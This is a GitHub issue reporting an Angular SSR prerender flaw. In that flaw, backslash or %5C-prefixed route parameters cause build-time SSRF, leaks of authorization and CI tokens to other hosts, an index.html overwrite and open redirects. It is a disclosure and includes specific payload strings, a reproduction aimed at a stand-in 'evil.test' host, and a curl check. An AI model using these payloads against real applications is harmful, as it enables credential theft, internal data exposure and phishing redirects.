Title: Angular SSR prerender params allow build-time SSRF, credential leaks, and open redirects · Issue #34569 · angular/angular-cli · GitHub
Open Graph Title: Angular SSR prerender params allow build-time SSRF, credential leaks, and open redirects · Issue #34569 · angular/angular-cli
X Title: Angular SSR prerender params allow build-time SSRF, credential leaks, and open redirects · Issue #34569 · angular/angular-cli
Description: Command other Is this a regression? Yes, this behavior used to work in the previous version The previous version in which this bug was not present was No response Description This is the part of #34474 that escaping doesn't reach. 22.2.5...
Open Graph Description: Command other Is this a regression? Yes, this behavior used to work in the previous version The previous version in which this bug was not present was No response Description This is the part of #3...
X Description: Command other Is this a regression? Yes, this behavior used to work in the previous version The previous version in which this bug was not present was No response Description This is the part of #3...
Opengraph URL: https://github.com/angular/angular-cli/issues/34569
X: @github
Domain: github.com
{"@context":"https://schema.org","@type":"DiscussionForumPosting","headline":"Angular SSR prerender params allow build-time SSRF, credential leaks, and open redirects","articleBody":"### Command\n\nother\n\n### Is this a regression?\n\n- [ ] Yes, this behavior used to work in the previous version\n\n### The previous version in which this bug was not present was\n\n_No response_\n\n### Description\n\n\nThis is the part of #34474 that escaping doesn't reach. 22.2.5 ships both fixes from that issue, and a `getPrerenderParams()` value that starts with `\\` still leaves the application's origin twice: while `ng build` renders the page, and in the redirect it ships.\n\n`handlePrerenderParamsReplacement` only checks the type ([`ng-routes.ts#L553-L570`](https://github.com/angular/angular-cli/blob/v22.2.5/packages/angular/ssr/src/routes/ng-routes.ts#L553-L570)):\n\n```ts\nif (typeof value !== 'string') {\n throw new Error(/* ... */);\n}\n\nreturn parameterName === '**' ? `/${value}` : value;\n```\n\nSo `\\cdn-login.test` becomes the route `/\\cdn-login.test`. As a path it looks harmless, but for `http:` the URL parser reads `\\` as `/`, so the route is `//cdn-login.test`, another host. Two places use the route as a URL:\n\n- `renderPage` builds the render request with `new Request(new URL(url, serverURL))` ([`render-worker.ts#L54`](https://github.com/angular/angular-cli/blob/v22.2.5/packages/angular/build/src/utils/server-rendering/render-worker.ts#L54)), so the page renders with that host as its origin, and every relative `HttpClient` call made during the render goes there.\n- The resolved `redirectTo` goes into the generated redirect page ([`prerender.ts#L258`](https://github.com/angular/angular-cli/blob/v22.2.5/packages/angular/build/src/utils/server-rendering/prerender.ts#L258)), or into `Location` with `outputMode: 'server'`.\n\nThose values are application data, the docs read them from a service:\n\n```ts\nconst ids = await dataService.getIds();\nreturn ids.map((id) => ({ id }));\n```\n\nSo whoever can write one row, through a public signup or as a CMS author, picks where the build connects and where visitors land. The product in the repro validates both inputs (no whitespace, no raw `\\`, no `..`) and these still pass, because `RouteTree.getPathSegments` percent-decodes each segment afterwards ([`route-tree.ts#L212-L213`](https://github.com/angular/angular-cli/blob/v22.2.5/packages/angular/ssr/src/routes/route-tree.ts#L212-L213)). One value is enough:\n\n| Value | Entered through | Result |\n| ----------------------------------- | ----------------------------- | ---------------------------------------------------------------------------------------- |\n| `\\cdn-login.test` | workspace slug, public signup | `/%5Ccdn-login.test` redirects to `cdn-login.test` |\n| `%5C127.0.0.2/docs/getting-started` | CMS page path | the build reads an internal-only service and publishes the response |\n| `%5C127.0.0.1:8787/%2E%2E` | CMS page path | the platform credentials go to `127.0.0.1:8787`, and the site's `index.html` is replaced |\n| `%5Cevil.test/docs/getting-started` | CMS page path | the build sends a request to `evil.test` |\n\n`ng build` exits 0 with no warning for all of them.\n\n**1. Open redirect.** Each workspace gets a vanity URL that lands on its home page:\n\n```ts\n{ path: ':workspace', children: [\n { path: '', pathMatch: 'full', redirectTo: 'home' },\n { path: 'home', component: WorkspacePage },\n]},\n```\n\nWith the slug `\\cdn-login.test` the build writes this redirect page:\n\n```html\n\u003cmeta http-equiv=\"refresh\" content=\"0; url=/\\cdn-login.test/home\" />\n```\n\nIn Chrome, `http://status.statuslane.test/%5Ccdn-login.test` ends on `http://cdn-login.test/home`. The link has no `@`, no second scheme and no `//`. `escapeHtml` leaves the target as it is, since there's nothing in it to escape.\n\n**2. Reading an internal service.** Docs pages load their body in a resolver, over a relative URL:\n\n```ts\ninject(HttpClient).get(`/api/content/${path}`, { responseType: 'text' });\n```\n\nWith the page path `%5C127.0.0.2/docs/getting-started` the page renders at `http://127.0.0.2`, so the build fetches `http://127.0.0.2/api/content/docs/getting-started`, a service only the CI network can reach. Its response, database URL included, is written into the published page and into `ng-state`. The attacker never needs an inbound connection, the response comes back through the site. The tail has to name a route that exists, otherwise the build fails with `The content returned was empty.`\n\n**3. Credentials to another host.** The home page calls the internal API or/and an interceptor adds the platform token only to relative URLs, which is the usual guard:\n\n```ts\nif (!req.url.startsWith('/api/internal/')) {\n return next(req);\n}\nreturn next(\n req.clone({\n setHeaders: { authorization, 'x-api-key': apiKey, cookie, 'x-ci-deploy-token': ciToken },\n }),\n);\n```\n\nWith `%5C127.0.0.1:8787/%2E%2E` the URL is still relative when the interceptor runs and the origin is applied later, so all four headers arrive at `127.0.0.1:8787`. `%2E%2E` consumes the host segment when `posix.join` computes the output path ([`prerender.ts#L462`](https://github.com/angular/angular-cli/blob/v22.2.5/packages/angular/build/src/utils/server-rendering/prerender.ts#L462)), so the page is written over the site's own `index.html` and `dist` has no odd file name. That write races the real home page: 1 of 3 builds at 0 ms, 3 of 3 when the listener answers after 1500 ms. The credentials go out every time.\n\n**4. `allowedHosts` isn't consulted.** The app sets `security.allowedHosts: [\"localhost\"]`, none of the hosts above is on it, and the build went to all of them. A DNS name works the same. With the page path `%5Cevil.test/docs/getting-started` the page renders at `http://evil.test`, and its request only fails because `.test` doesn't resolve:\n\n```text\nevil.test/docs/getting-started/index.html\n origin http://evil.test\n content \"unavailable (Http failure response for http://evil.test/api/c)\"\n```\n\nA name the attacker owns would connect. The page gets that origin even though nothing answered, because the origin is set before any request is made. `allowedHosts` only decides which `Host` headers the running server answers. A filter on the raw value doesn't help either, since `%5C` is decoded later.\n\n### Minimal Reproduction\n\n\nRepository: https://github.com/SkyZeroZx/angular-cli-prerender-param-ssrf-poc\n\nThere the values arrive over HTTP from the application's own API, through a public signup and a CMS author token. Every host is on loopback.\n\n```bash\nnpm ci\nnpm run attack\nnpm run browser\n```\n\n```text\nbuild exit 0, prerendered 12, warnings 0\nallowedHosts [\"localhost\"] (angular.json)\n P1 signup \"\\cdn-login.test\" accepted landed\n P2 cms \"%5C127.0.0.2/docs/getting-started\" accepted landed\n P3 cms \"%5C127.0.0.1:8787/%2E%2E\" accepted landed\n P4 cms \"%5Cevil.test/docs/getting-started\" accepted landed\n [attacker] GET /api/internal/metrics Host=127.0.0.1:8787 UA=node (not in allowedHosts)\n [internal] GET /api/content/docs/getting-started Host=127.0.0.2 UA=node (not in allowedHosts)\n```\n\nWithout the lab, one route and one value:\n\n```ts\n// app.routes.ts\nexport const routes: Routes = [\n {\n path: ':tenant',\n children: [\n { path: '', redirectTo: 'home', pathMatch: 'full' },\n { path: 'home', component: Page },\n ],\n },\n { path: '**', component: Page },\n];\n\n// app.routes.server.ts\nexport const serverRoutes: ServerRoute[] = [\n {\n path: ':tenant',\n renderMode: RenderMode.Prerender,\n getPrerenderParams: async () => [{ tenant: '\\\\evil.test' }],\n },\n { path: '**', renderMode: RenderMode.Client },\n];\n```\n\n```bash\nng build\nNG_ALLOWED_HOSTS=localhost PORT=4000 node dist/\u003capp>/server/server.mjs &\ncurl -s -o /dev/null -D - http://localhost:4000/%5Cevil.test | grep -i location\n```\n\n```text\nlocation: /\\evil.test/home\n```\n\nWith `--output-mode=static` the same value writes a redirect page with the same target.\n\n### Exception or Error\n\n```text\n\n```\n\n### Your Environment\n\n```text\nAngular CLI 22.2.5\n@angular/build 22.2.5\n@angular/ssr 22.2.5\n@angular/core 22.2.3\nNode.js 24.16.0\nnpm 11.13.0\nWindows 11 x64\nChrome 156\n```\n\n### Anything else relevant?\n\n_No response_","author":{"url":"https://github.com/SkyZeroZx","@type":"Person","name":"SkyZeroZx"},"datePublished":"2026-10-28T15:09:44Z","url":"https://github.com/angular/angular-cli/issues/34569"}
| react-profiling | 0 |
| react-import-map | react,react-dom,react-dom/client,react-dom/profiling,react-is,react/compiler-runtime,react/jsx-dev-runtime,react/jsx-runtime,scheduler@b8488ee2c322 |
| route-pattern | /_view_fragments/issues/show/:user_id/:repository/:id/issue_layout(.:format) |
| route-controller | voltron_issues_fragments |
| route-action | issue_layout |
| fetch-nonce | v2:7d81d178-92fe-446c-cd7a-b781819c6ccc |
| current-catalog-service-hash | 81bb79d38c15960b92d99bca9288a9108c7a47b18f2423d0f6438c5b7bcd2114 |
| request-id | A1EC:4FC3E:182054:233CC0:6AFDC11F |
| html-safe-nonce | 922e40bcb1035178b4a4039e44a327f1aa6e4d5b77299d5c8a1d338707e678bf |
| visitor-payload | eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJBMUVDOjRGQzNFOjE4MjA1NDoyMzNDQzA6NkFGREMxMUYiLCJ2aXNpdG9yX2lkIjoiMzQ1MTQyNTU5MDY0NTU4MzkiLCJyZWdpb25fZWRnZSI6ImlhZCIsInJlZ2lvbl9yZW5kZXIiOiJpYWQifQ== |
| visitor-hmac | 706f5dc89e10358f90a7affada840662b6b8c0fd7c22eb165dc563f65c2b3c46 |
| hovercard-subject-tag | issue:6081729387 |
| github-keyboard-shortcuts | repository,issues,copilot |
| google-site-verification | Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I |
| octolytics-url | https://collector.github.com/github/collect |
| analytics-location | / |
| fb:app_id | 1401488693436528 |
| apple-itunes-app | app-id=1477376905, app-argument=https://github.com/_view_fragments/issues/show/angular/angular-cli/34569/issue_layout |
| twitter:image | https://opengraph.githubassets.com/3dcba495197c4ce2e930b7e105a348b7f828e022e2fede00f15778b99d534d8b/angular/angular-cli/issues/34569 |
| twitter:card | summary_large_image |
| og:image | https://opengraph.githubassets.com/3dcba495197c4ce2e930b7e105a348b7f828e022e2fede00f15778b99d534d8b/angular/angular-cli/issues/34569 |
| og:image:alt | Command other Is this a regression? Yes, this behavior used to work in the previous version The previous version in which this bug was not present was No response Description This is the part of #3... |
| og:image:width | 1200 |
| og:image:height | 600 |
| og:site_name | GitHub |
| og:type | object |
| og:author:username | SkyZeroZx |
| hostname | github.com |
| expected-hostname | github.com |
| None | 35c6bf57da1370dc64866160540c0ee9f825f291935b3bf6ec5492b00e35f3a6 |
| turbo-cache-control | no-preview |
| go-import | github.com/angular/angular-cli git https://github.com/angular/angular-cli.git |
| octolytics-dimension-user_id | 139426 |
| octolytics-dimension-user_login | angular |
| octolytics-dimension-repository_id | 36891867 |
| octolytics-dimension-repository_nwo | angular/angular-cli |
| octolytics-dimension-repository_public | true |
| octolytics-dimension-repository_is_fork | false |
| octolytics-dimension-repository_network_root_id | 36891867 |
| octolytics-dimension-repository_network_root_nwo | angular/angular-cli |
| turbo-body-classes | logged-out env-production page-responsive |
| disable-turbo | false |
| browser-stats-url | https://api.github.com/_private/browser/stats |
| browser-errors-url | https://api.github.com/_private/browser/errors |
| release | ab48c73a2978548773f5f24717ed9e58508befdb |
| ui-target | full |
| theme-color | #1e2327 |
| color-scheme | light dark |
| react-app-name | issues |
Links:
Viewport: width=device-width